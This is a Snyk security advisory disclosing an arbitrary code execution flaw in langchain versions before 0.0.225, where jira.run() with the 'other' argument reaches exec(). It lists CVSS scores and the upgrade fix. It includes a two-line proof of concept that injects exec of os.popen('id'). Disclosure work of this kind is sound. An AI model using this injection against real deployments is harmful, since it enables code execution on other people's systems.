Arbitrary Code Execution Affecting langchain package, versions [,0.0.225)


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.18% (56th percentile)

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  • Snyk ID SNYK-PYTHON-LANGCHAIN-5710354
  • published 19 Jun 2023
  • disclosed 14 Jun 2023
  • credit Unknown

How to fix?

Upgrade langchain to version 0.0.225 or higher.

Overview

langchain is a Building applications with LLMs through composability

Affected versions of this package are vulnerable to Arbitrary Code Execution with the jira.run() command, which allows functions like exec() to be called with the other argument.

PoC

jira = JiraAPIWrapper()
output = jira.run('other',"exec(\"import os;print(os.popen('id').read())\")")

CVSS Scores

version 3.1
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Snyk

Recommended
8.8 high
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Privileges Required (PR)
    Low
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    High
  • Availability (A)
    High
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NVD

9.8 critical